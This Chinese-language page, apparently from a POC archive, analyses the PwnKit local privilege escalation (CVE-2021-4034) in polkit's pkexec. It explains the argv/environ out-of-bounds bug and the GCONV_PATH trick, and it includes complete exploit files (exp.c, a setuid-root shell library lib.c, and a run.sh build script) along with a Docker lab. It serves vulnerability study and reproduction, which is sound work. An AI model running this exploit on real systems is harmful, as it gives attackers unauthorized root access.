POC详情: 23fe5bed55747460c61546bb24da27eda7482c54

来源
关联漏洞
标题: polkit 缓冲区错误漏洞 (CVE-2021-4034)
描述:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则,实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞,攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后,如果目标计算机上没有权限的用户拥有管理权限,攻击可能会导致本地权限升级。
描述
CVE-2021-4034 POC and Docker and Analysis write up
介绍
# CVE-2021-4034 PolKit本地提权分析

[toc]

## 漏洞简介

漏洞编号: CVE-2021-4034

漏洞评分: 

漏洞产品: linux PolKit (pkexec)

影响范围: 影响2009年 - 今的版本(当前0.105) 参考http://its.dlut.edu.cn/info/1054/78309.htm

利用条件: linux 本地;pkexec 为suid 文件且有执行权限

源码获取: `apt source policykit-1` 

​    或 https://launchpad.net/ubuntu/bionic/+package/policykit-1

## docker环境

docker 环境: [chenaotian/cve-2021-4034](https://hub.docker.com/r/chenaotian/cve-2021-4034)

我自己搭建的docker,提供了:

1. 自己编译的可源码调试的`pkexec`
2. 有调试符号的glibc(貌似没啥用)
3. gdb 和gdb 插件pwngdb & pwndbg(貌似没必要)
4. 调试环境中的exp

所有东西都在 /root/ 目录中:

![image-20220126183638493](img/image-20220126183638493.png)

- exp 目录就是exp 和run.sh 所在目录,可以直su test 切换到test 用户然后跑
- glibc-2.27 是glibc 源码目录,大概率用不上,用到的时候方便gdb 源码调试
- polkit-0.105 是 policykit 源码包

启动docker:

```
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
```

测试exp:

```sh
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
```

## 漏洞原理

漏洞发生的产品是polkit 下的 `pkexec` 命令。`pkexec` 和`sudo` 类似都是能够让我们以其他用户身份(通常是root) 来执行命令的工具。通过`dpkg` 命令可以查看`pkexec` 所属包:

```shell
dpkg -S /usr/bin/pkexec
```

![image-20220126152839307](img/image-20220126152839307.png)

然后获取源码包(我的docker 之中也有),之后根据源码包自己编译可以调试的版本方便调试。

### 漏洞触发点

漏洞触发原理非常简单

/polkit-0.105/src/programs/pkexec.c : 386 main

```c
int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
   * 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); //获取执行命令具体字符串
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      //该函数会根据PATH环境变量寻找要执行命令的绝对地址
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
    }
  ··· ···
  ··· ···
```

根据代码中我的注释分析:

1. 首先main函数中会根据用户输入的命令行参数进行一些变量设置,但这里for 循环的起始值是1,也就是说他默认我们至少会附带一个参数(需要`pkexec` 执行的命令)
2. 如果匹配到非`--`开头的命令行参数,认为是需要执行的命令,则认为该参数是要用`pkexec` 执行的命令,而跳出循环进行下面逻辑。
3. 调用`g_find_program_in_path` 函数搜索命令的绝对路径。`g_find_program_in_path` 函数会根据 `PATH` 环境变量来寻找传入参数(命令)的绝对路径。如传入`cat` 返回`/bin/cat`。
4. 将返回的绝对路径写回该命令行参数的位置。(可以理解为从命令转换为命令对应文件的绝对路径)

还是很好理解的,但问题在于:

1. linux 二进制程序运行时会将命令行参数`argv[]`和环境变量`environ[]`放到栈底部,并且`argv[]` 和 `environ[]` 是连着的。其中`argv[]` 最后一项是`null`。

   ![image-20220126162140802](img/image-20220126162140802.png)

2. 如果是命令行启动的`pkexec` 切不带任何其他参数,那么`argv[0]` 为`"pkexec"` ,`argv[1]` 为`\x00`  没啥问题。但如果是用`execve` 函数启动的`pkexec` ,不带任何其他参数,那么`argv[0]` 为`\x00` ,`argv[1]` 就到了环境变量了!当读取 `argv[1]` 的时候就会**越界**读取到 `environ[0]`

   命令行直接启动 `pkexec` 的`argc` 为1,`argv[0]` 就是`pkexec` 路径:

   ![image-20220126162616203](img/image-20220126162616203.png)

   用`execve` 函数启动`pkexec`,`argc` 为0:

   ![image-20220126162804529](img/image-20220126162804529.png)

   

那这回造成什么影响呢? 就是当以`execve` 启动时,不接任何其他参数,那么`argv[]` 长度为0,那么`argv[1]` 就是`environ[0]` 这样上面分析的逻辑就变成了,**获取第一个环境变量的值,并且从`PATH` 环境变量中寻找其绝对路径。如果寻找到则写回第一个环境变量。**那么利用方式如下:

## 漏洞利用

首先要明确的一点就是,`pkexec` 是一个特权(suid) 文件:

![image-20220126161324831](img/image-20220126161324831.png)

如何在特权文件中利用环境变量搞点事情呢?首先先了解一个小细节:

### 一个小细节

linux 的动态连接器`ld-linux-x86-64.so.2` 会在特权程序执行的时候清除敏感环境变量:

函数_dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307 

```c
void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) //特权模式的情况下
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      //循环将危险环境变量列表中的环境变量全部清空(unset)
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}
```

危险环境变量列表 `UNSECURE_ENVVARS` 定义如下:

glibc-2.27/sysdeps/generic/unsecvars.h : 10

```c#
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"
```

当检测到程序是特权文件(suid) 的时候,会清空上面的这些环境变量,可以看到,绝大部分是`LD_` 系列的环境变量,他们都有能指定动态库加载路径的能力。这是防止低权限用户通过这些环境变量让suid 程序加载不可信的so,造成的恶意代码执行进而提权的情况。

**而在该漏洞场景下,我们拥有一次任意环境变量写得机会,我们的利用思路就是尝试从上面那些本来没法传入suid 程序中的环境变量中找点东西。**

### 利用原理

由于已经公布了poc,这里直接看答案就很简单了,这里参考了[arthepsy的poc](https://github.com/arthepsy/CVE-2021-4034)。内容很简单,但通过该poc 得知利用关键环境变量是**`GCONV_PATH`**。确实是上面危险环境变量列表中的一员,甚至是第一个!

关于`GCONV_PATH` 与 `iconv_open()` 函数:

> `iconv_open()` 函数申请一个转换描述符,转换字符序列从编码 `fromcode` 到编码 `tcode` 转换描述符包含转换状态。`iconv_open()` 函数首先会找到系统提供的 `gconv-modules` 文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中。然后再根据 `gconv-modules` 文件的指示去链接参数对应的.so文件执行具体操作。如果存在环境变量 `GCONV_PATH` ,则 `iconv_open()` 函数依照`GCONV_PATH` 找到`gconv-modules` 文件,后续操作不变。

也就是说,这里`GCONV_PATH`  环境变量也有相当于 `LD_LIBRARY_PATH` 的功能。他可以指定 `iconv_open()` 函数搜索so库的文件。我们如果可以伪造`GCONV_PATH`  然后进一步伪造 `gconv-modules`  最后在伪造一个 so 就可以完成任意so加载以及任意代码执行。

大体思路如下:

1. 创建一个 名为 `GCONV_PATH=.` 目录

2. 在 `GCONV_PATH=.`  目录中创建一个 名为 `pwnkitdir` 的文件,权限带x

3. 创建一个 名为  `pwnkitdir`  的目录

4. 在  `pwnkit`  目录中创建 `gconv-modules` 文件,依照格式写入如下内容:

   ```
   module UTF-8// PWNKIT// pwnkit 1
   ```

5. 在  `pwnkit`  目录中放入恶意so `pwnkit.so` 里面是获取shell的代码。

6. 设置相关环境变量

   1. 第一个环境变量 `pwnkitdir`
   2. 第二个环境变量 `PATH=GCONV_PATH=.` 这样 `g_find_program_in_path` 函数组合出的路径就是`GCONV_PATH=./pwnkitdir` 正好是环境变量的格式,而且 `./pwnkitdir` 目录存在,`GCONV_PATH=./pwnkitdir` 文件也存在。
   3. `CHARSET=PWNKIT` 环境变量,在走到 `iconv_open`  前的路径中会用到,用来从 `gconv-modules` 中搜索so
   4. `SHELL=xxx` ,,在走到 `iconv_open`  前的路径中会用到 

7. 通过 `execve` 启动 `pkexec` 参数为空,环境变量为上面设置的值

然后就成功,具体exp如下:

### exp

exp.c

```c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}
```

lib.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}
```

run.sh

```sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
```

利用成功:

![image-20220126182231579](img/image-20220126182231579.png)

## 缓解措施

升级最新版本

## 参考

漏洞纰漏:https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

arthepsy‘s poc:https://github.com/arthepsy/CVE-2021-4034



文件快照

[4.0K] /data/pocs/23fe5bed55747460c61546bb24da27eda7482c54 ├── [4.0K] img │   ├── [3.2K] image-20220126152839307.png │   ├── [5.6K] image-20220126161324831.png │   ├── [ 10K] image-20220126162140802.png │   ├── [9.1K] image-20220126162616203.png │   ├── [6.8K] image-20220126162804529.png │   ├── [1.9K] image-20220126182231579.png │   └── [3.5K] image-20220126183638493.png ├── [4.0K] poc │   ├── [ 377] exp.c │   ├── [ 364] lib.c │   └── [ 283] run.sh └── [ 12K] README.md 2 directories, 11 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。